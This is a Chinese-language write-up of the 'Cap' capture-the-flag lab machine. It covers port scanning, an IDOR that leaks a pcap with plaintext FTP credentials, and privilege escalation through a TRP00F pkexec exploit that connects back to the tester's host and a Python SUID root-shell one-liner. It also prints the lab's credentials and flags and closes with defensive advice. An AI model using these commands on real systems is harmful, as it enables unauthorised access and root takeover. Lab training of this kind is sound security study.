[Meachines] [Easy] Cap gunicorn IDOR+TRP00F权限提升+Python SUID权限提升
字数 832 2025-08-22 12:23:36
Gunicorn 靶机渗透测试教学文档
1. 信息收集阶段
1.1 主机发现与端口扫描
ip='10.10.10.245'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 21/tcp: vsftpd 3.0.3 (FTP服务)
- 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
- 80/tcp: gunicorn (HTTP服务)
1.2 Web服务指纹识别
使用whatweb工具进行Web应用指纹识别:
whatweb 10.10.10.245 -v
2. 漏洞利用阶段
2.1 IDOR漏洞利用
发现存在不安全的直接对象引用(IDOR)漏洞:
http://10.10.10.245/data/0
通过访问该URL可以下载pcap流量包,分析后发现FTP明文凭据:
- 用户名: nathan
- 密码: Buck3tH4TF0RM3!
2.2 FTP服务登录
使用获取的凭据登录FTP服务:
ftp 10.10.10.245
# 用户名: nathan
# 密码: Buck3tH4TF0RM3!
2.3 获取用户标志
成功登录后,在用户目录下找到user.txt文件:
User.txt 843d0489c2faefa9d03d5552718bbc46
3. 权限提升阶段
3.1 TRP00F漏洞利用
使用TRP00F工具进行权限提升:
python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999
当提示是否利用pkexec漏洞时选择'y':
[!] Do you want to exploit the vulnerability in file 'pkexec' ? (y/n) >y
3.2 Python SUID权限提升
发现系统存在配置错误的Python SUID权限,可利用以下命令获取root权限:
/usr/bin/python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'
3.3 获取root标志
成功提权后,在root目录下找到root.txt文件:
Root.txt eef16ddfee548443df6b2fe4dcf70a67
4. 关键知识点总结
-
IDOR漏洞:通过直接访问/data/0端点获取敏感信息,展示了不安全的直接对象引用风险
-
FTP明文传输风险:从pcap文件中提取明文凭据,强调了加密传输的重要性
-
TRP00F漏洞利用:利用pkexec的权限提升漏洞(CVE-2021-4034)
-
SUID权限滥用:Python解释器设置了SUID位导致权限提升风险
-
信息收集重要性:全面的端口扫描和服务识别是渗透测试的基础
5. 防御建议
- 修复IDOR漏洞,实施适当的访问控制
- 禁用FTP明文传输或使用SFTP/FTPS
- 及时更新pkexec等系统组件
- 审查SUID权限设置,移除不必要的SUID位
- 实施最小权限原则